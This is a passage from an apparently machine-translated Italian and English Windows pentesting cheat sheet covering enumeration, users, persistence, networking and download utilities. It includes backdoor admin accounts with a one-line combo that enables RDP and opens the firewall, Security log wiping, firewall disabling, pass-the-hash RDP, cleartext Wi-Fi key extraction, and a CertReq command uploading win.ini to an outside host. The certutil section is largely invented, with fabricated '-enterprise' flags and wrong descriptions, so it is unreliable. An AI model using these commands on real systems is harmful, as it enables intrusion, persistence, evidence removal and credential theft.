wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
````
#### Registri ed eventi
I registri ed eventi sono strumenti essenziali per la risoluzione dei problemi e l'analisi delle attività di un sistema operativo Windows. Forniscono informazioni dettagliate sulle azioni eseguite dal sistema e dagli utenti. I registri ed eventi possono essere utilizzati anche per rilevare attività sospette o potenziali violazioni della sicurezza.
**Visualizzare i registri ed eventi**
Per visualizzare i registri ed eventi in Windows, è possibile utilizzare il comando `eventvwr.msc` dal prompt dei comandi. Questo comando aprirà la console degli eventi, dove è possibile esaminare i diversi registri ed eventi disponibili.
**Filtrare i registri ed eventi**
Per filtrare i registri ed eventi in base a determinati criteri, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando filtra gli eventi del registro di sicurezza che corrispondono all'ID evento 4624 (accesso riuscito):
```
wevtutil qe Security "/q:*[System[(EventID=4624)]]"
```
**Pulire i registri ed eventi**
Per pulire i registri ed eventi in Windows, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando pulisce tutti gli eventi del registro di sicurezza:
```
wevtutil cl Security
```
**Monitorare i registri ed eventi in tempo reale**
Per monitorare i registri ed eventi in tempo reale, è possibile utilizzare il comando `powershell` insieme al cmdlet `Get-WinEvent`. Ad esempio, il seguente comando monitora gli eventi del registro di sicurezza in tempo reale:
```
powershell -c "Get-WinEvent -LogName Security -MaxEvents 10 -Wait"
```
**Estrarre i registri ed eventi**
Per estrarre i registri ed eventi in un file di testo, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando estrae gli eventi del registro di sicurezza in un file di testo chiamato "security\_events.txt":
```
wevtutil epl Security security_events.txt
```
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
### Utenti e Gruppi
#### Utenti
```plaintext
# List all users
net user
# Get detailed information about a specific user
net user <username>
# Create a new user
net user <username> <password> /add
# Delete a user
net user <username> /delete
# Disable a user account
net user <username> /active:no
# Enable a disabled user account
net user <username> /active:yes
# Change a user's password
net user <username> <new_password>
# Add a user to a group
net localgroup <group_name> <username> /add
# Remove a user from a group
net localgroup <group_name> <username> /delete
```
#### Gruppi
```plaintext
# List all groups
net localgroup
# Get detailed information about a specific group
net localgroup <group_name>
# Create a new group
net localgroup <group_name> /add
# Delete a group
net localgroup <group_name> /delete
# Add a user to a group
net localgroup <group_name> <username> /add
# Remove a user from a group
net localgroup <group_name> <username> /delete
```
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
#### Gruppi
Gruppi are used to organize users with similar permissions and access rights. In Windows, each user is assigned to one or more groups, and these groups determine what resources and actions the user can access.
**Built-in Groups**
Windows has several built-in groups that are created automatically during the installation process. These groups have predefined permissions and are commonly used to manage access to system resources.
* **Administrators**: This group has full control over the system and can perform any administrative task.
* **Users**: This group includes all standard users who can perform common tasks but have limited administrative privileges.
* **Guests**: This group provides limited access to the system and is typically used for temporary or untrusted users.
* **Power Users**: This group has more privileges than standard users but fewer than administrators. They can perform certain administrative tasks.
* **Backup Operators**: Members of this group can perform backup and restore operations on the system.
* **Print Operators**: Members of this group can manage printers and print jobs.
* **Remote Desktop Users**: Members of this group can access the system remotely using Remote Desktop.
* **Network Configuration Operators**: Members of this group can manage network configuration settings.
* **Performance Monitor Users**: Members of this group can monitor performance counters on the system.
* **Cryptographic Operators**: Members of this group can perform cryptographic operations.
**Creating and Managing Groups**
To create a new group, you can use the `net localgroup` command followed by the group name. For example, to create a group named "TestGroup", you would run the following command:
```
net localgroup TestGroup /add
```
To add a user to a group, you can use the `net localgroup` command followed by the group name and the username. For example, to add the user "TestUser" to the "TestGroup", you would run the following command:
```
net localgroup TestGroup TestUser /add
```
To remove a user from a group, you can use the `net localgroup` command followed by the group name and the username. For example, to remove the user "TestUser" from the "TestGroup", you would run the following command:
```
net localgroup TestGroup TestUser /delete
```
To delete a group, you can use the `net localgroup` command followed by the group name. For example, to delete the "TestGroup", you would run the following command:
```
net localgroup TestGroup /delete
```
**Group Policy Objects (GPOs)**
Group Policy Objects (GPOs) are a powerful tool for managing group membership and permissions in a Windows domain. GPOs allow administrators to define and enforce security policies across multiple computers and users.
GPOs can be used to control various aspects of group management, such as adding or removing users from groups, configuring group permissions, and applying group policies to specific users or computers.
To manage GPOs, you can use the Group Policy Management Console (GPMC) or the `gpupdate` command-line tool. GPOs are stored in the Active Directory and are applied to users and computers when they log in to the domain.
**Summary**
Groups are an essential part of Windows security and access control. They allow administrators to organize users and manage their permissions effectively. By understanding how groups work and how to create and manage them, you can enhance the security of your Windows systems.
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
#### Elencare le sessioni
Per visualizzare le sessioni attive su un sistema Windows, è possibile utilizzare il comando `query session` o `qwinsta`. Questi comandi mostrano le informazioni sulle sessioni degli utenti, come l'ID della sessione, lo stato, il nome dell'utente e il tipo di sessione.
```
qwinsta
klist sessions
```
#### Politica delle password
La politica delle password è un insieme di regole che definiscono i requisiti per la creazione e l'utilizzo delle password. Queste regole sono progettate per garantire la sicurezza delle password e prevenire accessi non autorizzati ai sistemi.
Le seguenti sono alcune delle regole comuni che possono essere incluse nella politica delle password:
* Lunghezza minima della password: specifica il numero minimo di caratteri richiesti per una password.
* Complessità della password: richiede l'utilizzo di una combinazione di lettere maiuscole e minuscole, numeri e caratteri speciali.
* Scadenza della password: specifica il periodo dopo il quale una password deve essere cambiata.
* Storico delle password: impedisce l'utilizzo di password precedenti.
* Blocco dell'account: blocca l'account dopo un numero specifico di tentativi di accesso falliti.
È importante seguire la politica delle password per garantire la sicurezza dei sistemi e dei dati sensibili.
```
net accounts
```
#### Credenziali
Credentials, or login credentials, are the information used to authenticate and verify the identity of a user or system. They typically consist of a username and password, although other forms of authentication, such as biometrics or security tokens, can also be used.
Le credenziali, o credenziali di accesso, sono le informazioni utilizzate per autenticare e verificare l'identità di un utente o di un sistema. Di solito sono composte da un nome utente e una password, anche se possono essere utilizzate altre forme di autenticazione, come la biometria o i token di sicurezza.
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
#### Persistenza con gli utenti
**Creazione di un nuovo utente**
Per ottenere persistenza su un sistema Windows, è possibile creare un nuovo utente con privilegi di amministratore. Questo utente può essere utilizzato per accedere al sistema in futuro, anche se le credenziali degli altri utenti vengono modificate o rimosse.
Per creare un nuovo utente, è possibile utilizzare il comando `net user` seguito dal nome utente desiderato e dalla password. Ad esempio:
```plaintext
net user hacker P@ssw0rd123 /add
```
**Aggiunta di un utente a un gruppo**
Per ottenere privilegi aggiuntivi su un sistema Windows, è possibile aggiungere un utente a un gruppo con privilegi speciali, come il gruppo degli amministratori. In questo modo, l'utente avrà accesso a risorse e funzionalità che normalmente non sarebbero disponibili.
Per aggiungere un utente a un gruppo, è possibile utilizzare il comando `net localgroup` seguito dal nome del gruppo e dal nome utente. Ad esempio, per aggiungere l'utente "hacker" al gruppo degli amministratori:
```plaintext
net localgroup administrators hacker /add
```
**Utilizzo di Scheduled Tasks**
Un'altra tecnica per ottenere persistenza su un sistema Windows è utilizzare le "Scheduled Tasks" (attività pianificate). Queste attività possono essere programmate per eseguire comandi o script in determinati momenti o eventi.
Per creare una nuova attività pianificata, è possibile utilizzare il comando `schtasks` seguito dai parametri appropriati. Ad esempio, per creare un'attività che esegue un comando ogni volta che il sistema viene avviato:
```plaintext
schtasks /create /sc onstart /tn "MyTask" /tr "C:\path\to\command.exe"
```
**Modifica del registro di sistema**
Il registro di sistema di Windows contiene informazioni e impostazioni importanti per il funzionamento del sistema. Modificando determinate chiavi di registro, è possibile ottenere persistenza su un sistema Windows.
Per modificare il registro di sistema, è possibile utilizzare il comando `reg` seguito dai parametri appropriati. Ad esempio, per aggiungere un valore alla chiave di registro "Run" in modo che un programma venga eseguito all'avvio del sistema:
```plaintext
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MyProgram" /d "C:\path\to\program.exe" /f
```
**Utilizzo di servizi di Windows**
I servizi di Windows sono programmi che vengono eseguiti in background e forniscono funzionalità specifiche al sistema operativo. Modificando o creando nuovi servizi, è possibile ottenere persistenza su un sistema Windows.
Per creare un nuovo servizio, è possibile utilizzare il comando `sc` seguito dai parametri appropriati. Ad esempio, per creare un servizio che esegue un programma all'avvio del sistema:
```plaintext
sc create MyService binPath= "C:\path\to\program.exe" start= auto
```
**Conclusioni**
La persistenza con gli utenti è una tecnica comune utilizzata dai pentester per mantenere l'accesso a un sistema Windows. Creare nuovi utenti, aggiungere utenti a gruppi, utilizzare le attività pianificate, modificare il registro di sistema e utilizzare i servizi di Windows sono solo alcune delle tecniche disponibili. È importante comprendere queste tecniche per poterle rilevare e mitigare efficacemente.
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
### Rete
#### Interfacce, Percorsi, Porte, Host e Cache DNS
Le informazioni relative alle interfacce di rete, ai percorsi di rete, alle porte aperte, agli host e alla cache DNS possono essere utili per l'analisi e l'esplorazione di una rete.
**Interfacce di rete**
Per visualizzare le informazioni sulle interfacce di rete, è possibile utilizzare il comando `ipconfig`:
```plaintext
ipconfig /all
```
Questo comando mostrerà le informazioni dettagliate su tutte le interfacce di rete presenti nel sistema.
**Percorsi di rete**
Per visualizzare i percorsi di rete, è possibile utilizzare il comando `route`:
```plaintext
route print
```
Questo comando mostrerà la tabella dei percorsi di rete, inclusi i percorsi predefiniti e quelli specifici.
**Porte aperte**
Per visualizzare le porte aperte su un host, è possibile utilizzare il comando `netstat`:
```plaintext
netstat -ano
```
Questo comando mostrerà le porte aperte, gli indirizzi IP associati e i processi che le utilizzano.
**Host**
Per ottenere informazioni sugli host presenti nella rete, è possibile utilizzare il comando `arp`:
```plaintext
arp -a
```
Questo comando mostrerà la tabella ARP, che associa gli indirizzi IP agli indirizzi MAC degli host presenti nella rete.
**Cache DNS**
Per visualizzare la cache DNS, è possibile utilizzare il comando `ipconfig`:
```plaintext
ipconfig /displaydns
```
Questo comando mostrerà la cache DNS, che contiene le informazioni sui record DNS recentemente risolti.
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
#### Firewall
Un firewall è un componente essenziale per la sicurezza di un sistema operativo. Esso funge da barriera tra la rete interna e quella esterna, controllando il traffico di rete in entrata e in uscita. Il firewall può essere configurato per consentire o bloccare specifici tipi di traffico, in base alle regole definite. Questo aiuta a proteggere il sistema da attacchi esterni e a prevenire la fuoriuscita non autorizzata di dati sensibili. È importante configurare correttamente il firewall e mantenere le regole aggiornate per garantire una protezione efficace.
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
#### Condivisioni
Le condivisioni sono risorse di rete accessibili da più dispositivi all'interno di una rete. Possono essere utilizzate per condividere file, cartelle o stampanti tra gli utenti. Le condivisioni possono essere identificate tramite il loro nome o il percorso di rete.
**Comandi utili**
* `net view` - Mostra l'elenco delle condivisioni disponibili sulla rete.
* `net use` - Consente di connettersi a una condivisione di rete specifica.
* `net share` - Visualizza le condivisioni locali sul proprio sistema.
* `net use * /delete` - Disconnette tutte le connessioni di rete attive.
* `net use <drive_letter>: /delete` - Disconnette una specifica connessione di rete.
**Esempi**
* `net view` - Mostra l'elenco delle condivisioni disponibili sulla rete.
* `net use \\server\share /user:<username> <password>` - Connette il proprio sistema a una specifica condivisione di rete utilizzando le credenziali specificate.
* `net share` - Visualizza le condivisioni locali sul proprio sistema.
* `net use * /delete` - Disconnette tutte le connessioni di rete attive.
* `net use Z: /delete` - Disconnette la connessione di rete associata alla lettera di unità Z.
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
#### Wifi
Il Wi-Fi è una tecnologia che consente la connessione senza fili a una rete locale. È ampiamente utilizzato per l'accesso a Internet e per la condivisione di file e risorse all'interno di una rete domestica o aziendale.
**Scansione delle reti Wi-Fi**
Per individuare le reti Wi-Fi disponibili nelle vicinanze, è possibile utilizzare il comando `netsh` in Windows. Ecco come farlo:
```plaintext
netsh wlan show networks
```
Questo comando mostrerà un elenco delle reti Wi-Fi rilevate, insieme ad altre informazioni come il nome della rete (SSID), il tipo di autenticazione e la potenza del segnale.
**Connessione a una rete Wi-Fi**
Per connettersi a una rete Wi-Fi specifica, è possibile utilizzare il comando `netsh` seguito da `wlan connect`. Ecco un esempio:
```plaintext
netsh wlan connect name="nome_rete"
```
Sostituisci "nome\_rete" con il nome della rete Wi-Fi a cui desideri connetterti.
**Disconnessione da una rete Wi-Fi**
Per disconnettersi da una rete Wi-Fi, è possibile utilizzare il comando `netsh` seguito da `wlan disconnect`. Ecco un esempio:
```plaintext
netsh wlan disconnect
```
**Ottenere informazioni dettagliate sulla rete Wi-Fi**
Per ottenere informazioni più dettagliate su una rete Wi-Fi specifica, è possibile utilizzare il comando `netsh` seguito da `wlan show profile`. Ecco come farlo:
```plaintext
netsh wlan show profile name="nome_rete" key=clear
```
Sostituisci "nome\_rete" con il nome della rete Wi-Fi di cui desideri ottenere informazioni.
**Cambiare la modalità di connessione Wi-Fi**
Per cambiare la modalità di connessione Wi-Fi, ad esempio da "Automatico" a "Manuale", è possibile utilizzare il comando `netsh` seguito da `wlan set profileparameter`. Ecco un esempio:
```plaintext
netsh wlan set profileparameter name="nome_rete" connectionmode=manual
```
Sostituisci "nome\_rete" con il nome della rete Wi-Fi di cui desideri cambiare la modalità di connessione.
**Disabilitare il Wi-Fi**
Per disabilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando `netsh` seguito da `wlan set autoconfig enabled=no interface="nome_interfaccia"`. Ecco un esempio:
```plaintext
netsh wlan set autoconfig enabled=no interface="Wi-Fi"
```
Sostituisci "nome\_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
**Abilitare il Wi-Fi**
Per abilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando `netsh` seguito da `wlan set autoconfig enabled=yes interface="nome_interfaccia"`. Ecco un esempio:
```plaintext
netsh wlan set autoconfig enabled=yes interface="Wi-Fi"
```
Sostituisci "nome\_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
#### SNMP
SNMP (Simple Network Management Protocol) è un protocollo di gestione di rete utilizzato per monitorare e gestire dispositivi di rete come router, switch e server. SNMP consente ai sistemi di gestione di rete di raccogliere informazioni sullo stato e le prestazioni dei dispositivi di rete, nonché di controllarli e configurarli in remoto.
**Componenti di SNMP**
SNMP è costituito da tre componenti principali:
1. **Agent**: l'agente SNMP è un software che viene eseguito sui dispositivi di rete e fornisce informazioni sullo stato e le prestazioni del dispositivo. L'agente risponde alle richieste SNMP inviate dal sistema di gestione di rete.
2. **Manager**: il sistema di gestione di rete, noto anche come manager SNMP, è un software che raccoglie informazioni dai dispositivi di rete utilizzando il protocollo SNMP. Il manager può inviare richieste SNMP agli agenti per ottenere informazioni o eseguire azioni sui dispositivi di rete.
3. **MIB (Management Information Base)**: la MIB è un database che contiene una collezione di oggetti gestiti. Ogni oggetto gestito ha un identificatore univoco chiamato OID (Object Identifier) e contiene informazioni specifiche sul dispositivo di rete, come ad esempio l'utilizzo della CPU, la memoria disponibile o le interfacce di rete attive.
**Versioni di SNMP**
SNMP ha diverse versioni, tra cui SNMPv1, SNMPv2c e SNMPv3. Le versioni più recenti offrono funzionalità di sicurezza avanzate, come l'autenticazione e la crittografia dei dati trasmessi tra agenti e manager.
**Utilizzo di SNMP per il pentesting**
Durante un test di penetrazione, SNMP può essere utilizzato per raccogliere informazioni sui dispositivi di rete, come ad esempio le versioni del sistema operativo, le configurazioni di rete e le credenziali di accesso. Queste informazioni possono essere utilizzate per identificare vulnerabilità e punti deboli nel sistema di rete e per eseguire attacchi mirati.
Alcuni comandi utili per l'utilizzo di SNMP durante un test di penetrazione includono:
* `snmpwalk`: utilizzato per ottenere informazioni sulla MIB di un dispositivo di rete.
* `snmpget`: utilizzato per ottenere il valore di un oggetto gestito specifico.
* `snmpset`: utilizzato per impostare il valore di un oggetto gestito specifico.
* `snmptrap`: utilizzato per inviare notifiche agli agenti SNMP in risposta a eventi specifici.
È importante notare che l'utilizzo di SNMP durante un test di penetrazione deve essere effettuato solo su dispositivi di rete autorizzati e con il consenso del proprietario del sistema.
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
#### Interfacce di rete
Le interfacce di rete sono i punti di connessione tra un dispositivo e una rete. Possono essere cablate o wireless e consentono al dispositivo di comunicare con altri dispositivi sulla rete. Le interfacce di rete possono essere configurate per supportare diversi protocolli di rete, come TCP/IP, e possono avere indirizzi IP assegnati. Di seguito sono riportati alcuni comandi di base per gestire le interfacce di rete su Windows.
**Visualizzare le interfacce di rete disponibili**
```
ipconfig /all
```
Questo comando visualizza tutte le interfacce di rete disponibili sul sistema, insieme alle relative informazioni di configurazione.
**Visualizzare le informazioni di configurazione di un'interfaccia di rete specifica**
```
ipconfig /interface_name
```
Sostituisci "interface\_name" con il nome dell'interfaccia di rete di cui desideri visualizzare le informazioni di configurazione. Ad esempio, se desideri visualizzare le informazioni per l'interfaccia Ethernet, digita:
```
ipconfig /ethernet
```
**Rilasciare un indirizzo IP assegnato a un'interfaccia di rete**
```
ipconfig /release
```
Questo comando rilascia l'indirizzo IP assegnato a un'interfaccia di rete specifica.
**Rinnovare un indirizzo IP per un'interfaccia di rete**
```
ipconfig /renew
```
Questo comando rinnova l'indirizzo IP per un'interfaccia di rete specifica.
**Abilitare o disabilitare un'interfaccia di rete**
```
netsh interface set interface "interface_name" admin=enable/disable
```
Sostituisci "interface\_name" con il nome dell'interfaccia di rete che desideri abilitare o disabilitare. Ad esempio, se desideri abilitare l'interfaccia Ethernet, digita:
```
netsh interface set interface "Ethernet" admin=enable
```
**Cambiare l'indirizzo IP di un'interfaccia di rete**
```
netsh interface ip set address "interface_name" static/dhcp [ip_address] [subnet_mask] [default_gateway]
```
Sostituisci "interface\_name" con il nome dell'interfaccia di rete di cui desideri cambiare l'indirizzo IP. Puoi specificare se l'indirizzo IP deve essere statico o ottenuto tramite DHCP. Puoi anche specificare l'indirizzo IP, la subnet mask e il default gateway desiderati. Ad esempio, per impostare un indirizzo IP statico sull'interfaccia Ethernet, digita:
```
netsh interface ip set address "Ethernet" static 192.168.1.100 255.255.255.0 192.168.1.1
```
```bash
ipconfig /all
```
#### Tabella ARP
La tabella ARP (Address Resolution Protocol) è un componente chiave nella comunicazione di rete. Questa tabella mappa gli indirizzi IP degli host con i loro indirizzi MAC corrispondenti. Quando un dispositivo deve inviare un pacchetto a un altro dispositivo sulla rete locale, consulta la tabella ARP per ottenere l'indirizzo MAC corrispondente all'indirizzo IP di destinazione. Se l'indirizzo MAC non è presente nella tabella ARP, il dispositivo invia un messaggio di richiesta ARP per ottenere l'indirizzo MAC mancante. Una volta ottenuto l'indirizzo MAC, il dispositivo può inviare il pacchetto al destinatario corretto. La tabella ARP può essere visualizzata utilizzando il comando `arp -a` nella finestra di comando di Windows. Questo comando elenca gli indirizzi IP e MAC presenti nella tabella ARP del sistema.
```bash
arp -A
```
### Download
Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
## CertReq.exe
CertReq.exe is a command-line tool used for certificate enrollment and management in Windows operating systems. It allows users to create and submit certificate requests, retrieve issued certificates, and perform various certificate-related operations.
### Syntax
```
CertReq [-submit] [-new] [-config ConfigFile] [-attrib AttributeString] [-binary] [-q] [-v] [-?]
```
### Parameters
* `-submit`: Submits a certificate request to a certification authority (CA).
* `-new`: Creates a new certificate request.
* `-config ConfigFile`: Specifies the configuration file to use for the certificate request.
* `-attrib AttributeString`: Specifies additional attributes for the certificate request.
* `-binary`: Outputs the certificate request in binary format.
* `-q`: Runs CertReq in quiet mode, suppressing unnecessary output.
* `-v`: Runs CertReq in verbose mode, providing detailed output.
* `-?`: Displays the help message for CertReq.
### Examples
1. Create a new certificate request:
```
CertReq -new Request.inf Request.req
```
2. Submit a certificate request to a CA:
```
CertReq -submit -config Request.inf -binary Request.req
```
### Conclusion
CertReq.exe is a powerful command-line tool for managing certificate requests in Windows. It provides various options for creating, submitting, and managing certificates, making it a valuable tool for pentesters and system administrators.
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
## Certutil.exe
Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.
### Usage
To use Certutil.exe, open a command prompt and type `certutil` followed by the desired command and its parameters.
### Commands
#### -addstore
The `-addstore` command is used to add a certificate or a certificate chain to a specified certificate store.
Example:
```plaintext
certutil -addstore <StoreName> <CertificateFile>
```
#### -delstore
The `-delstore` command is used to delete a certificate or a certificate chain from a specified certificate store.
Example:
```plaintext
certutil -delstore <StoreName> <CertificateFile>
```
#### -store
The `-store` command is used to display the certificates in a specified certificate store.
Example:
```plaintext
certutil -store <StoreName>
```
#### -view
The `-view` command is used to display the details of a certificate.
Example:
```plaintext
certutil -view <CertificateFile>
```
#### -verify
The `-verify` command is used to verify the signature of a certificate.
Example:
```plaintext
certutil -verify <CertificateFile>
```
#### -urlcache
The `-urlcache` command is used to manage the URL cache.
Example:
```plaintext
certutil -urlcache -split -f <URL>
```
#### -dump
The `-dump` command is used to display the contents of a certificate or a certificate chain.
Example:
```plaintext
certutil -dump <CertificateFile>
```
#### -getkey
The `-getkey` command is used to display the private key associated with a certificate.
Example:
```plaintext
certutil -getkey <CertificateFile>
```
#### -repairstore
The `-repairstore` command is used to repair a certificate store.
Example:
```plaintext
certutil -repairstore <StoreName> <SerialNumber>
```
#### -crl
The `-crl` command is used to display the contents of a certificate revocation list (CRL).
Example:
```plaintext
certutil -crl <CRLFile>
```
#### -dumpchain
The `-dumpchain` command is used to display the certificate chain of a certificate.
Example:
```plaintext
certutil -dumpchain <CertificateFile>
```
#### -ping
The `-ping` command is used to check the connectivity to a specified URL.
Example:
```plaintext
certutil -ping <URL>
```
#### -decode
The `-decode` command is used to decode a base64-encoded file.
Example:
```plaintext
certutil -decode <Base64File> <OutputFile>
```
#### -encode
The `-encode` command is used to encode a file to base64.
Example:
```plaintext
certutil -encode <InputFile> <Base64File>
```
#### -hashfile
The `-hashfile` command is used to calculate the hash value of a file.
Example:
```plaintext
certutil -hashfile <File> <HashAlgorithm>
```
#### -mergepfx
The `-mergepfx` command is used to merge a PFX file with a certificate store.
Example:
```plaintext
certutil -mergepfx <PFXFile> <StoreName>
```
#### -renewcert
The `-renewcert` command is used to renew a certificate.
Example:
```plaintext
certutil -renewcert <CertificateFile>
```
#### -setreg
The `-setreg` command is used to set a registry value.
Example:
```plaintext
certutil -setreg <RegistryPath> <Value>
```
#### -getreg
The `-getreg` command is used to get the value of a registry key.
Example:
```plaintext
certutil -getreg <RegistryPath>
```
#### -pingadmin
The `-pingadmin` command is used to check the connectivity to a specified URL as an administrator.
Example:
```plaintext
certutil -pingadmin <URL>
```
#### -addstore -enterprise
The `-addstore -enterprise` command is used to add a certificate or a certificate chain to the enterprise certificate store.
Example:
```plaintext
certutil -addstore -enterprise <StoreName> <CertificateFile>
```
#### -delstore -enterprise
The `-delstore -enterprise` command is used to delete a certificate or a certificate chain from the enterprise certificate store.
Example:
```plaintext
certutil -delstore -enterprise <StoreName> <CertificateFile>
```
#### -store -enterprise
The `-store -enterprise` command is used to display the certificates in the enterprise certificate store.
Example:
```plaintext
certutil -store -enterprise <StoreName>
```
#### -view -enterprise
The `-view -enterprise` command is used to display the details of a certificate in the enterprise certificate store.
Example:
```plaintext
certutil -view -enterprise <CertificateFile>
```
#### -verify -enterprise
The `-verify -enterprise` command is used to verify the signature of a certificate in the enterprise certificate store.
Example:
```plaintext
certutil -verify -enterprise <CertificateFile>
```
#### -dump -enterprise
The `-dump -enterprise` command is used to display the contents of a certificate or a certificate chain in the enterprise certificate store.
Example:
```plaintext
certutil -dump -enterprise <CertificateFile>
```
#### -getkey -enterprise
The `-getkey -enterprise` command is used to display the private key associated with a certificate in the enterprise certificate store.
Example:
```plaintext
certutil -getkey -enterprise <CertificateFile>
```
#### -repairstore -enterprise
The `-repairstore -enterprise` command is used to repair the enterprise certificate store.
Example:
```plaintext
certutil -repairstore -enterprise <StoreName> <SerialNumber>
```
#### -crl -enterprise
The `-crl -enterprise` command is used to display the contents of a certificate revocation list (CRL) in the enterprise certificate store.
Example:
```plaintext
certutil -crl -enterprise <CRLFile>
```
#### -dumpchain -enterprise
The `-dumpchain -enterprise` command is used to display the certificate chain of a certificate in the enterprise certificate store.
Example:
```plaintext
certutil -dumpchain -enterprise <CertificateFile>
```
#### -ping -enterprise
The `-ping -enterprise` command is used to check the connectivity to a specified URL in the enterprise context.
Example:
```plaintext
certutil -ping -enterprise <URL>
```
#### -decode -enterprise
The `-decode -enterprise` command is used to decode a base64-encoded file in the enterprise context.
Example:
```plaintext
certutil -decode -enterprise <Base64File> <OutputFile>
```
#### -encode -enterprise
The `-encode -enterprise` command is used to encode a file to base64 in the enterprise context.
Example:
```plaintext
certutil -encode -enterprise <InputFile> <Base64File>
```
#### -hashfile -enterprise
The `-hashfile -enterprise` command is used to calculate the hash value of a file in the enterprise context.
Example:
```plaintext
certutil -hashfile -enterprise <File> <HashAlgorithm>
```
#### -mergepfx -enterprise
The `-mergepfx -enterprise` command is used to merge a PFX file with the enterprise certificate store.
Example:
```plaintext
certutil -mergepfx -enterprise <PFXFile> <StoreName>
```
#### -renewcert -enterprise
The `-renewcert -enterprise` command is used to renew a certificate in the enterprise certificate store.
Example:
```plaintext
certutil -renewcert -enterprise <CertificateFile>
```
#### -setreg -enterprise
The `-setreg -enterprise` command is used to set a registry value in the enterprise context.
